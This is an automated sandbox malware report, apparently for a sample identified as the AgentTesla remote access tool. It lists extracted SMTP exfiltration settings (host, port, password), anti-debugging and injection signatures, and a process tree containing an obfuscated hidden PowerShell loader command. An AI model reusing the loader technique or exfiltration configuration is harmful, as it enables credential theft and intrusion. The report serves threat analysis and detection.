Analysis
- max time kernel
144s - max time network
159s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
07/06/2024, 01:42
General
- Target doc023571961904.exe
- Size 642KB
- Sample240607-b4qd2afe5y
- SHA256 45431a6589e9d77eb2df9bef800ce40a0b77f71d8faf1c99b08b76b3ec7f84ca
Malware Config
Extracted
-
agenttesla
-
Protocol
smtp
-
Host
mail.mosir.ehost.pl
-
Port
587
-
Username
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Password
dataset123
-
Email to
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Program Files directory 1 IoCs
- Drops file in Windows directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 12 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\doc023571961904.exe"C:\Users\Admin\AppData\Local\Temp\doc023571961904.exe"1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$ldreboligers=Get-Content 'C:\Users\Admin\AppData\Local\Bimorphs\kursusforlbets\Unthievishly.Spe205';$Subdit=$ldreboligers.SubString(51813,3);.$Subdit($ldreboligers)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"3⤵
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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-
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4136 --field-trial-handle=2744,i,16362475727591565961,3676688664819797550,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Unthievishly.Spe205
hastvrksarbejders.Imm
__PSScriptPolicyTest_vrjbmo4o.wxi.ps1
memory/404-59-0x0000000024190000-0x000000002419A000-memory.dmp
memory/404-58-0x0000000024230000-0x00000000242C2000-memory.dmp
memory/404-57-0x0000000024140000-0x0000000024190000-memory.dmp
memory/404-56-0x0000000000ED0000-0x0000000000F12000-memory.dmp
memory/404-55-0x0000000000ED0000-0x0000000002124000-memory.dmp
memory/404-47-0x0000000000ED0000-0x0000000002124000-memory.dmp
memory/2012-33-0x0000000007990000-0x0000000007F34000-memory.dmp
memory/2012-40-0x000000007382E000-0x000000007382F000-memory.dmp
memory/2012-28-0x0000000006220000-0x000000000626C000-memory.dmp
memory/2012-29-0x0000000073820000-0x0000000073FD0000-memory.dmp
memory/2012-31-0x0000000006660000-0x000000000667A000-memory.dmp
memory/2012-30-0x0000000006700000-0x0000000006796000-memory.dmp
memory/2012-32-0x00000000066B0000-0x00000000066D2000-memory.dmp
memory/2012-9-0x000000007382E000-0x000000007382F000-memory.dmp
memory/2012-22-0x0000000005AF0000-0x0000000005E44000-memory.dmp
memory/2012-35-0x00000000085C0000-0x0000000008C3A000-memory.dmp
memory/2012-37-0x0000000073820000-0x0000000073FD0000-memory.dmp
memory/2012-16-0x0000000005A40000-0x0000000005AA6000-memory.dmp
memory/2012-39-0x0000000073820000-0x0000000073FD0000-memory.dmp
memory/2012-27-0x0000000006140000-0x000000000615E000-memory.dmp
memory/2012-41-0x0000000073820000-0x0000000073FD0000-memory.dmp
memory/2012-43-0x0000000073820000-0x0000000073FD0000-memory.dmp
memory/2012-45-0x0000000073820000-0x0000000073FD0000-memory.dmp
memory/2012-44-0x0000000008C40000-0x000000000C1A6000-memory.dmp
memory/2012-46-0x0000000073820000-0x0000000073FD0000-memory.dmp
memory/2012-48-0x0000000073820000-0x0000000073FD0000-memory.dmp
memory/2012-15-0x0000000005920000-0x0000000005986000-memory.dmp
memory/2012-14-0x0000000005800000-0x0000000005822000-memory.dmp
memory/2012-13-0x0000000005150000-0x0000000005778000-memory.dmp
memory/2012-12-0x0000000073820000-0x0000000073FD0000-memory.dmp
memory/2012-11-0x0000000073820000-0x0000000073FD0000-memory.dmp
memory/2012-10-0x0000000004AE0000-0x0000000004B16000-memory.dmp